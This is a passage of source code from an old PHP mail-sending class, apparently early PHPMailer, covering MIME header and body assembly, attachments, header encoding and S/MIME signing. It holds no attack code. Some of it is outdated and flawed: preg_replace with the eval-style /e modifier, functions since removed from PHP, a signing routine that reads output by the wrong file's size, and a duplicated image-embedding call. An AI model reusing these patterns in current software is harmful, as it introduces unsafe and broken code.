2224 $from = array();
2225 $from[0][0] = trim($this->From);
2226 $from[0][1] = $this->FromName;
2227 $result .= $this->AddrAppend('From', $from);
2228
2229 /* sendmail and mail() extract Cc from the header before sending */
2230 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2231 $result .= $this->AddrAppend('Cc', $this->cc);
2232 }
2233
2234 /* sendmail and mail() extract Bcc from the header before sending */
2235 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2236 $result .= $this->AddrAppend('Bcc', $this->bcc);
2237 }
2238 if($replyto != "")
2239 {
2240 if(count($this->ReplyTo) > 0) {
2241 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2242 }
2243 }
2244 /* mail() sets the subject itself */
2245 if($this->Mailer != 'mail') {
2246 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2247 }
2248
2249 if($this->MessageID != '') {
2250 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2251 } else {
2252 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2253 }
2254 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2255 if($this->ConfirmReadingTo != '') {
2256 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2257 }
2258
2259 // Add custom headers
2260 for($index = 0; $index < count($this->CustomHeader); $index++) {
2261 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2262 }
2263 if (!$this->sign_key_file) {
2264 $result .= $this->HeaderLine('MIME-Version', '1.0');
2265 $result .= $this->GetMailMIME();
2266 }
2267
2268 return $result;
2269 }
2270
2271 /**
2272 * Returns the message MIME.
2273 * @access private
2274 * @return string
2275 */
2276 function GetMailMIME() {
2277 $result = '';
2278 switch($this->message_type) {
2279 case 'plain':
2280 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2281 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2282 break;
2283 case 'attachments':
2284 /* fall through */
2285 case 'alt_attachments':
2286 if($this->InlineImageExists()){
2287 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2288 } else {
2289 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2290 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2291 }
2292 break;
2293 case 'alt':
2294 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2295 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2296 break;
2297 }
2298
2299 if($this->Mailer != 'mail') {
2300 $result .= $this->LE.$this->LE;
2301 }
2302
2303 return $result;
2304 }
2305
2306 /**
2307 * Assembles the message body. Returns an empty string on failure.
2308 * @access private
2309 * @return string
2310 */
2311 function CreateBody() {
2312 $result = '';
2313 if ($this->sign_key_file) {
2314 $result .= $this->GetMailMIME();
2315 }
2316
2317 $this->SetWordWrap();
2318
2319 switch($this->message_type) {
2320 case 'alt':
2321 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2322 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2323 $result .= $this->LE.$this->LE;
2324 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2325 $result .= $this->EncodeString($this->Body, $this->Encoding);
2326 $result .= $this->LE.$this->LE;
2327 $result .= $this->EndBoundary($this->boundary[1]);
2328 break;
2329 case 'plain':
2330 $result .= $this->EncodeString($this->Body, $this->Encoding);
2331 break;
2332 case 'attachments':
2333 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2334 $result .= $this->EncodeString($this->Body, $this->Encoding);
2335 $result .= $this->LE;
2336 $result .= $this->AttachAll();
2337 break;
2338 case 'alt_attachments':
2339 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2340 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2341 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2342 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2343 $result .= $this->LE.$this->LE;
2344 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2345 $result .= $this->EncodeString($this->Body, $this->Encoding);
2346 $result .= $this->LE.$this->LE;
2347 $result .= $this->EndBoundary($this->boundary[2]);
2348 $result .= $this->AttachAll();
2349 break;
2350 }
2351
2352 if($this->IsError()) {
2353 $result = '';
2354 } else if ($this->sign_key_file) {
2355 $file = tempnam("", "mail");
2356 $fp = fopen($file, "w");
2357 fwrite($fp, $result);
2358 fclose($fp);
2359 $signed = tempnam("", "signed");
2360
2361 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2362 $fp = fopen($signed, "r");
2363 $result = fread($fp, filesize($this->sign_key_file));
2364 fclose($fp);
2365 } else {
2366 $this->SetError($this->Lang("signing").openssl_error_string());
2367 $result = '';
2368 }
2369
2370 unlink($file);
2371 unlink($signed);
2372 }
2373
2374 return $result;
2375 }
2376
2377 /**
2378 * Returns the start of a message boundary.
2379 * @access private
2380 */
2381 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2382 $result = '';
2383 if($charSet == '') {
2384 $charSet = $this->CharSet;
2385 }
2386 if($contentType == '') {
2387 $contentType = $this->ContentType;
2388 }
2389 if($encoding == '') {
2390 $encoding = $this->Encoding;
2391 }
2392 $result .= $this->TextLine('--' . $boundary);
2393 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2394 $result .= $this->LE;
2395 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2396 $result .= $this->LE;
2397
2398 return $result;
2399 }
2400
2401 /**
2402 * Returns the end of a message boundary.
2403 * @access private
2404 */
2405 function EndBoundary($boundary) {
2406 return $this->LE . '--' . $boundary . '--' . $this->LE;
2407 }
2408
2409 /**
2410 * Sets the message type.
2411 * @access private
2412 * @return void
2413 */
2414 function SetMessageType() {
2415 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2416 $this->message_type = 'plain';
2417 } else {
2418 if(count($this->attachment) > 0) {
2419 $this->message_type = 'attachments';
2420 }
2421 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2422 $this->message_type = 'alt';
2423 }
2424 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2425 $this->message_type = 'alt_attachments';
2426 }
2427 }
2428 }
2429
2430 /* Returns a formatted header line.
2431 * @access private
2432 * @return string
2433 */
2434 function HeaderLine($name, $value) {
2435 return $name . ': ' . $value . $this->LE;
2436 }
2437
2438 /**
2439 * Returns a formatted mail line.
2440 * @access private
2441 * @return string
2442 */
2443 function TextLine($value) {
2444 return $value . $this->LE;
2445 }
2446
2447 /////////////////////////////////////////////////
2448 // CLASS METHODS, ATTACHMENTS
2449 /////////////////////////////////////////////////
2450
2451 /**
2452 * Adds an attachment from a path on the filesystem.
2453 * Returns false if the file could not be found
2454 * or accessed.
2455 * @param string $path Path to the attachment.
2456 * @param string $name Overrides the attachment name.
2457 * @param string $encoding File encoding (see $Encoding).
2458 * @param string $type File extension (MIME) type.
2459 * @return bool
2460 */
2461 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2462 if(!@is_file($path)) {
2463 $this->SetError($this->Lang('file_access') . $path);
2464 return false;
2465 }
2466
2467 $filename = basename($path);
2468 if($name == '') {
2469 $name = $filename;
2470 }
2471
2472 $cur = count($this->attachment);
2473 $this->attachment[$cur][0] = $path;
2474 $this->attachment[$cur][1] = $filename;
2475 $this->attachment[$cur][2] = $name;
2476 $this->attachment[$cur][3] = $encoding;
2477 $this->attachment[$cur][4] = $type;
2478 $this->attachment[$cur][5] = false; // isStringAttachment
2479 $this->attachment[$cur][6] = 'attachment';
2480 $this->attachment[$cur][7] = 0;
2481
2482 return true;
2483 }
2484
2485 /**
2486 * Attaches all fs, string, and binary attachments to the message.
2487 * Returns an empty string on failure.
2488 * @access private
2489 * @return string
2490 */
2491 function AttachAll() {
2492 /* Return text of body */
2493 $mime = array();
2494
2495 /* Add all attachments */
2496 for($i = 0; $i < count($this->attachment); $i++) {
2497 /* Check for string attachment */
2498 $bString = $this->attachment[$i][5];
2499 if ($bString) {
2500 $string = $this->attachment[$i][0];
2501 } else {
2502 $path = $this->attachment[$i][0];
2503 }
2504
2505 $filename = $this->attachment[$i][1];
2506 $name = $this->attachment[$i][2];
2507 $encoding = $this->attachment[$i][3];
2508 $type = $this->attachment[$i][4];
2509 $disposition = $this->attachment[$i][6];
2510 $cid = $this->attachment[$i][7];
2511
2512 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2513 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2514 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2515
2516 if($disposition == 'inline') {
2517 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2518 }
2519
2520 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2521
2522 /* Encode as string attachment */
2523 if($bString) {
2524 $mime[] = $this->EncodeString($string, $encoding);
2525 if($this->IsError()) {
2526 return '';
2527 }
2528 $mime[] = $this->LE.$this->LE;
2529 } else {
2530 $mime[] = $this->EncodeFile($path, $encoding);
2531 if($this->IsError()) {
2532 return '';
2533 }
2534 $mime[] = $this->LE.$this->LE;
2535 }
2536 }
2537
2538 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2539
2540 return join('', $mime);
2541 }
2542
2543 /**
2544 * Encodes attachment in requested format. Returns an
2545 * empty string on failure.
2546 * @access private
2547 * @return string
2548 */
2549 function EncodeFile ($path, $encoding = 'base64') {
2550 if(!@$fd = fopen($path, 'rb')) {
2551 $this->SetError($this->Lang('file_open') . $path);
2552 return '';
2553 }
2554 $magic_quotes = get_magic_quotes_runtime();
2555 set_magic_quotes_runtime(0);
2556 $file_buffer = fread($fd, filesize($path));
2557 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2558 fclose($fd);
2559 set_magic_quotes_runtime($magic_quotes);
2560
2561 return $file_buffer;
2562 }
2563
2564 /**
2565 * Encodes string to requested format. Returns an
2566 * empty string on failure.
2567 * @access private
2568 * @return string
2569 */
2570 function EncodeString ($str, $encoding = 'base64') {
2571 $encoded = '';
2572 switch(strtolower($encoding)) {
2573 case 'base64':
2574 /* chunk_split is found in PHP >= 3.0.6 */
2575 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2576 break;
2577 case '7bit':
2578 case '8bit':
2579 $encoded = $this->FixEOL($str);
2580 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2581 $encoded .= $this->LE;
2582 break;
2583 case 'binary':
2584 $encoded = $str;
2585 break;
2586 case 'quoted-printable':
2587 $encoded = $this->EncodeQP($str);
2588 break;
2589 default:
2590 $this->SetError($this->Lang('encoding') . $encoding);
2591 break;
2592 }
2593 return $encoded;
2594 }
2595
2596 /**
2597 * Encode a header string to best of Q, B, quoted or none.
2598 * @access private
2599 * @return string
2600 */
2601 function EncodeHeader ($str, $position = 'text') {
2602 $x = 0;
2603
2604 switch (strtolower($position)) {
2605 case 'phrase':
2606 if (!preg_match('/[\200-\377]/', $str)) {
2607 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2608 $encoded = addcslashes($str, "\0..\37\177\\\"");
2609 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2610 return ($encoded);
2611 } else {
2612 return ("\"$encoded\"");
2613 }
2614 }
2615 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2616 break;
2617 case 'comment':
2618 $x = preg_match_all('/[()"]/', $str, $matches);
2619 /* Fall-through */
2620 case 'text':
2621 default:
2622 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2623 break;
2624 }
2625
2626 if ($x == 0) {
2627 return ($str);
2628 }
2629
2630 $maxlen = 75 - 7 - strlen($this->CharSet);
2631 /* Try to select the encoding which should produce the shortest output */
2632 if (strlen($str)/3 < $x) {
2633 $encoding = 'B';
2634 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2635 // Use a custom function which correctly encodes and wraps long
2636 // multibyte strings without breaking lines within a character
2637 $encoded = $this->Base64EncodeWrapMB($str);
2638 } else {
2639 $encoded = base64_encode($str);
2640 $maxlen -= $maxlen % 4;
2641 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2642 }
2643 } else {
2644 $encoding = 'Q';
2645 $encoded = $this->EncodeQ($str, $position);
2646 $encoded = $this->WrapText($encoded, $maxlen, true);
2647 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2648 }
2649
2650 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2651 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2652
2653 return $encoded;
2654 }
2655
2656 /**
2657 * Checks if a string contains multibyte characters.
2658 * @access private
2659 * @param string $str multi-byte text to wrap encode
2660 * @return bool
2661 */
2662 function HasMultiBytes($str) {
2663 if (function_exists('mb_strlen')) {
2664 return (strlen($str) > mb_strlen($str, $this->CharSet));
2665 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2666 return False;
2667 }
2668 }
2669
2670 /**
2671 * Correctly encodes and wraps long multibyte strings for mail headers
2672 * without breaking lines within a character.
2673 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2674 * @access private
2675 * @param string $str multi-byte text to wrap encode
2676 * @return string
2677 */
2678 function Base64EncodeWrapMB($str) {
2679 $start = "=?".$this->CharSet."?B?";
2680 $end = "?=";
2681 $encoded = "";
2682
2683 $mb_length = mb_strlen($str, $this->CharSet);
2684 // Each line must have length <= 75, including $start and $end
2685 $length = 75 - strlen($start) - strlen($end);
2686 // Average multi-byte ratio
2687 $ratio = $mb_length / strlen($str);
2688 // Base64 has a 4:3 ratio
2689 $offset = $avgLength = floor($length * $ratio * .75);
2690
2691 for ($i = 0; $i < $mb_length; $i += $offset) {
2692 $lookBack = 0;
2693
2694 do {
2695 $offset = $avgLength - $lookBack;
2696 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2697 $chunk = base64_encode($chunk);
2698 $lookBack++;
2699 }
2700 while (strlen($chunk) > $length);
2701
2702 $encoded .= $chunk . $this->LE;
2703 }
2704
2705 // Chomp the last linefeed
2706 $encoded = substr($encoded, 0, -strlen($this->LE));
2707 return $encoded;
2708 }
2709
2710 /**
2711 * Encode string to quoted-printable.
2712 * @access private
2713 * @return string
2714 */
2715 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2716 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2717 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2718 $eol = "\r\n";
2719 $escape = '=';
2720 $output = '';
2721 while( list(, $line) = each($lines) ) {
2722 $linlen = strlen($line);
2723 $newline = '';
2724 for($i = 0; $i < $linlen; $i++) {
2725 $c = substr( $line, $i, 1 );
2726 $dec = ord( $c );
2727 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2728 $c = '=2E';
2729 }
2730 if ( $dec == 32 ) {
2731 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2732 $c = '=20';
2733 } else if ( $space_conv ) {
2734 $c = '=20';
2735 }
2736 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2737 $h2 = floor($dec/16);
2738 $h1 = floor($dec%16);
2739 $c = $escape.$hex[$h2].$hex[$h1];
2740 }
2741 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2742 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2743 $newline = '';
2744 // check if newline first character will be point or not
2745 if ( $dec == 46 ) {
2746 $c = '=2E';
2747 }
2748 }
2749 $newline .= $c;
2750 } // end of for
2751 $output .= $newline.$eol;
2752 } // end of while
2753 return trim($output);
2754 }
2755
2756 /**
2757 * Encode string to q encoding.
2758 * @access private
2759 * @return string
2760 */
2761 function EncodeQ ($str, $position = 'text') {
2762 /* There should not be any EOL in the string */
2763 $encoded = preg_replace("[\r\n]", '', $str);
2764
2765 switch (strtolower($position)) {
2766 case 'phrase':
2767 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2768 break;
2769 case 'comment':
2770 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2771 case 'text':
2772 default:
2773 /* Replace every high ascii, control =, ? and _ characters */
2774 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2775 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2776 break;
2777 }
2778
2779 /* Replace every spaces to _ (more readable than =20) */
2780 $encoded = str_replace(' ', '_', $encoded);
2781
2782 return $encoded;
2783 }
2784
2785 /**
2786 * Adds a string or binary attachment (non-filesystem) to the list.
2787 * This method can be used to attach ascii or binary data,
2788 * such as a BLOB record from a database.
2789 * @param string $string String attachment data.
2790 * @param string $filename Name of the attachment.
2791 * @param string $encoding File encoding (see $Encoding).
2792 * @param string $type File extension (MIME) type.
2793 * @return void
2794 */
2795 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2796 /* Append to $attachment array */
2797 $cur = count($this->attachment);
2798 $this->attachment[$cur][0] = $string;
2799 $this->attachment[$cur][1] = $filename;
2800 $this->attachment[$cur][2] = $filename;
2801 $this->attachment[$cur][3] = $encoding;
2802 $this->attachment[$cur][4] = $type;
2803 $this->attachment[$cur][5] = true; // isString
2804 $this->attachment[$cur][6] = 'attachment';
2805 $this->attachment[$cur][7] = 0;
2806 }
2807
2808 /**
2809 * Adds an embedded attachment. This can include images, sounds, and
2810 * just about any other document. Make sure to set the $type to an
2811 * image type. For JPEG images use "image/jpeg" and for GIF images
2812 * use "image/gif".
2813 * @param string $path Path to the attachment.
2814 * @param string $cid Content ID of the attachment. Use this to identify
2815 * the Id for accessing the image in an HTML form.
2816 * @param string $name Overrides the attachment name.
2817 * @param string $encoding File encoding (see $Encoding).
2818 * @param string $type File extension (MIME) type.
2819 * @return bool
2820 */
2821 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2822
2823 if(!@is_file($path)) {
2824 $this->SetError($this->Lang('file_access') . $path);
2825 return false;
2826 }
2827
2828 $filename = basename($path);
2829 if($name == '') {
2830 $name = $filename;
2831 }
2832
2833 /* Append to $attachment array */
2834 $cur = count($this->attachment);
2835 $this->attachment[$cur][0] = $path;
2836 $this->attachment[$cur][1] = $filename;
2837 $this->attachment[$cur][2] = $name;
2838 $this->attachment[$cur][3] = $encoding;
2839 $this->attachment[$cur][4] = $type;
2840 $this->attachment[$cur][5] = false;
2841 $this->attachment[$cur][6] = 'inline';
2842 $this->attachment[$cur][7] = $cid;
2843
2844 return true;
2845 }
2846
2847 /**
2848 * Returns true if an inline attachment is present.
2849 * @access private
2850 * @return bool
2851 */
2852 function InlineImageExists() {
2853 $result = false;
2854 for($i = 0; $i < count($this->attachment); $i++) {
2855 if($this->attachment[$i][6] == 'inline') {
2856 $result = true;
2857 break;
2858 }
2859 }
2860
2861 return $result;
2862 }
2863
2864 /////////////////////////////////////////////////
2865 // CLASS METHODS, MESSAGE RESET
2866 /////////////////////////////////////////////////
2867
2868 /**
2869 * Clears all recipients assigned in the TO array. Returns void.
2870 * @return void
2871 */
2872 function ClearAddresses() {
2873 $this->to = array();
2874 }
2875
2876 /**
2877 * Clears all recipients assigned in the CC array. Returns void.
2878 * @return void
2879 */
2880 function ClearCCs() {
2881 $this->cc = array();
2882 }
2883
2884 /**
2885 * Clears all recipients assigned in the BCC array. Returns void.
2886 * @return void
2887 */
2888 function ClearBCCs() {
2889 $this->bcc = array();
2890 }
2891
2892 /**
2893 * Clears all recipients assigned in the ReplyTo array. Returns void.
2894 * @return void
2895 */
2896 function ClearReplyTos() {
2897 $this->ReplyTo = array();
2898 }
2899
2900 /**
2901 * Clears all recipients assigned in the TO, CC and BCC
2902 * array. Returns void.
2903 * @return void
2904 */
2905 function ClearAllRecipients() {
2906 $this->to = array();
2907 $this->cc = array();
2908 $this->bcc = array();
2909 }
2910
2911 /**
2912 * Clears all previously set filesystem, string, and binary
2913 * attachments. Returns void.
2914 * @return void
2915 */
2916 function ClearAttachments() {
2917 $this->attachment = array();
2918 }
2919
2920 /**
2921 * Clears all custom headers. Returns void.
2922 * @return void
2923 */
2924 function ClearCustomHeaders() {
2925 $this->CustomHeader = array();
2926 }
2927
2928 /////////////////////////////////////////////////
2929 // CLASS METHODS, MISCELLANEOUS
2930 /////////////////////////////////////////////////
2931
2932 /**
2933 * Adds the error message to the error container.
2934 * Returns void.
2935 * @access private
2936 * @return void
2937 */
2938 function SetError($msg) {
2939 $this->error_count++;
2940 $this->ErrorInfo = $msg;
2941 }
2942
2943 /**
2944 * Returns the proper RFC 822 formatted date.
2945 * @access private
2946 * @return string
2947 */
2948 function RFCDate() {
2949 $tz = date('Z');
2950 $tzs = ($tz < 0) ? '-' : '+';
2951 $tz = abs($tz);
2952 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2953 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2954
2955 return $result;
2956 }
2957
2958 /**
2959 * Returns the appropriate server variable. Should work with both
2960 * PHP 4.1.0+ as well as older versions. Returns an empty string
2961 * if nothing is found.
2962 * @access private
2963 * @return mixed
2964 */
2965 function ServerVar($varName) {
2966 global $HTTP_SERVER_VARS;
2967 global $HTTP_ENV_VARS;
2968
2969 if(!isset($_SERVER)) {
2970 $_SERVER = $HTTP_SERVER_VARS;
2971 if(!isset($_SERVER['REMOTE_ADDR'])) {
2972 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2973 }
2974 }
2975
2976 if(isset($_SERVER[$varName])) {
2977 return $_SERVER[$varName];
2978 } else {
2979 return '';
2980 }
2981 }
2982
2983 /**
2984 * Returns the server hostname or 'localhost.localdomain' if unknown.
2985 * @access private
2986 * @return string
2987 */
2988 function ServerHostname() {
2989 if ($this->Hostname != '') {
2990 $result = $this->Hostname;
2991 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2992 $result = $this->ServerVar('SERVER_NAME');
2993 } else {
2994 $result = 'localhost.localdomain';
2995 }
2996
2997 return $result;
2998 }
2999
3000 /**
3001 * Returns a message in the appropriate language.
3002 * @access private
3003 * @return string
3004 */
3005 function Lang($key) {
3006 if(count($this->language) < 1) {
3007 $this->SetLanguage('en'); // set the default language
3008 }
3009
3010 if(isset($this->language[$key])) {
3011 return $this->language[$key];
3012 } else {
3013 return 'Language string failed to load: ' . $key;
3014 }
3015 }
3016
3017 /**
3018 * Returns true if an error occurred.
3019 * @return bool
3020 */
3021 function IsError() {
3022 return ($this->error_count > 0);
3023 }
3024
3025 /**
3026 * Changes every end of line from CR or LF to CRLF.
3027 * @access private
3028 * @return string
3029 */
3030 function FixEOL($str) {
3031 $str = str_replace("\r\n", "\n", $str);
3032 $str = str_replace("\r", "\n", $str);
3033 $str = str_replace("\n", $this->LE, $str);
3034 return $str;
3035 }
3036
3037 /**
3038 * Adds a custom header.
3039 * @return void
3040 */
3041 function AddCustomHeader($custom_header) {
3042 $this->CustomHeader[] = explode(':', $custom_header, 2);
3043 }
3044
3045 /**
3046 * Evaluates the message and returns modifications for inline images and backgrounds
3047 * @access public
3048 * @return $message
3049 */
3050 function MsgHTML($message,$basedir='') {
3051 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3052 if(isset($images[2])) {
3053 foreach($images[2] as $i => $url) {
3054 // do not change urls for absolute images (thanks to corvuscorax)
3055 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3056 $filename = basename($url);
3057 $directory = dirname($url);
3058 ($directory == '.')?$directory='':'';
3059 $cid = 'cid:' . md5($filename);
3060 $fileParts = split("\.", $filename);
3061 $ext = $fileParts[1];
3062 $mimeType = $this->_mime_types($ext);
3063 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3064 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3065 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3066 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3067 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3068 }
3069 }
3070 }
3071 }
3072 $this->IsHTML(true);
3073 $this->Body = $message;
3074 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3075 if ( !empty($textMsg) && empty($this->AltBody) ) {
3076 $this->AltBody = $textMsg;
3077 }
3078 if ( empty($this->AltBody) ) {
3079 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3080 }
3081 }
3082
3083 /**
3084 * Gets the mime type of the embedded or inline image
3085 * @access private
3086 * @return mime type of ext
3087 */
3088 function _mime_types($ext = '') {
3089 $mimes = array(
3090 'hqx' => 'application/mac-binhex40',
3091 'cpt' => 'application/mac-compactpro',
3092 'doc' => 'application/msword',
3093 'bin' => 'application/macbinary',
3094 'dms' => 'application/octet-stream',
3095 'lha' => 'application/octet-stream',
3096 'lzh' => 'application/octet-stream',
3097 'exe' => 'application/octet-stream',
3098 'class' => 'application/octet-stream',
3099 'psd' => 'application/octet-stream',
3100 'so' => 'application/octet-stream',
3101 'sea' => 'application/octet-stream',
3102 'dll' => 'application/octet-stream',
3103 'oda' => 'application/oda',
3104 'pdf' => 'application/pdf',
3105 'ai' => 'application/postscript',
3106 'eps' => 'application/postscript',
3107 'ps' => 'application/postscript',
3108 'smi' => 'application/smil',
3109 'smil' => 'application/smil',
3110 'mif' => 'application/vnd.mif',
3111 'xls' => 'application/vnd.ms-excel',
3112 'ppt' => 'application/vnd.ms-powerpoint',
3113 'wbxml' => 'application/vnd.wap.wbxml',
3114 'wmlc' => 'application/vnd.wap.wmlc',
3115 'dcr' => 'application/x-director',
3116 'dir' => 'application/x-director',
3117 'dxr' => 'application/x-director',
3118 'dvi' => 'application/x-dvi',
3119 'gtar' => 'application/x-gtar',
3120 'php' => 'application/x-httpd-php',
3121 'php4' => 'application/x-httpd-php',
3122 'php3' => 'application/x-httpd-php',
3123 'phtml' => 'application/x-httpd-php',
3124 'phps' => 'application/x-httpd-php-source',
3125 'js' => 'application/x-javascript',
3126 'swf' => 'application/x-shockwave-flash',
3127 'sit' => 'application/x-stuffit',
3128 'tar' => 'application/x-tar',
3129 'tgz' => 'application/x-tar',
3130 'xhtml' => 'application/xhtml+xml',
3131 'xht' => 'application/xhtml+xml',
3132 'zip' => 'application/zip',
3133 'mid' => 'audio/midi',
3134 'midi' => 'audio/midi',
3135 'mpga' => 'audio/mpeg',
3136 'mp2' => 'audio/mpeg',
3137 'mp3' => 'audio/mpeg',
3138 'aif' => 'audio/x-aiff',
3139 'aiff' => 'audio/x-aiff',
3140 'aifc' => 'audio/x-aiff',
3141 'ram' => 'audio/x-pn-realaudio',
3142 'rm' => 'audio/x-pn-realaudio',
3143 'rpm' => 'audio/x-pn-realaudio-plugin',
3144 'ra' => 'audio/x-realaudio',
3145 'rv' => 'video/vnd.rn-realvideo',
3146 'wav' => 'audio/x-wav',
3147 'bmp' => 'image/bmp',
3148 'gif' => 'image/gif',
3149 'jpeg' => 'image/jpeg',
3150 'jpg' => 'image/jpeg',
3151 'jpe' => 'image/jpeg',
3152 'png' => 'image/png',
3153 'tiff' => 'image/tiff',
3154 'tif' => 'image/tiff',
3155 'css' => 'text/css',
3156 'html' => 'text/html',
3157 'htm' => 'text/html',
3158 'shtml' => 'text/html',
3159 'txt' => 'text/plain',
3160 'text' => 'text/plain',
3161 'log' => 'text/plain',
3162 'rtx' => 'text/richtext',
3163 'rtf' => 'text/rtf',
3164 'xml' => 'text/xml',
3165 'xsl' => 'text/xml',
3166 'mpeg' => 'video/mpeg',
3167 'mpg' => 'video/mpeg',
3168 'mpe' => 'video/mpeg',
3169 'qt' => 'video/quicktime',
3170 'mov' => 'video/quicktime',
3171 'avi' => 'video/x-msvideo',
3172 'movie' => 'video/x-sgi-movie',
3173 'doc' => 'application/msword',
3174 'word' => 'application/msword',
3175 'xl' => 'application/excel',
3176 'eml' => 'message/rfc822'
3177 );
3178 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3179 }
3180
3181 /**
3182 * Set (or reset) Class Objects (variables)
3183 *
3184 * Usage Example:
3185 * $page->set('X-Priority', '3');
3186 *
3187 * @access public
3188 * @param string $name Parameter Name
3189 * @param mixed $value Parameter Value
3190 * NOTE: will not work with arrays, there are no arrays to set/reset
3191 */
3192 function set ( $name, $value = '' ) {
3193 if ( isset($this->$name) ) {
3194 $this->$name = $value;
3195 } else {
3196 $this->SetError('Cannot set or reset variable ' . $name);
3197 return false;
3198 }
3199 }
3200
3201 /**
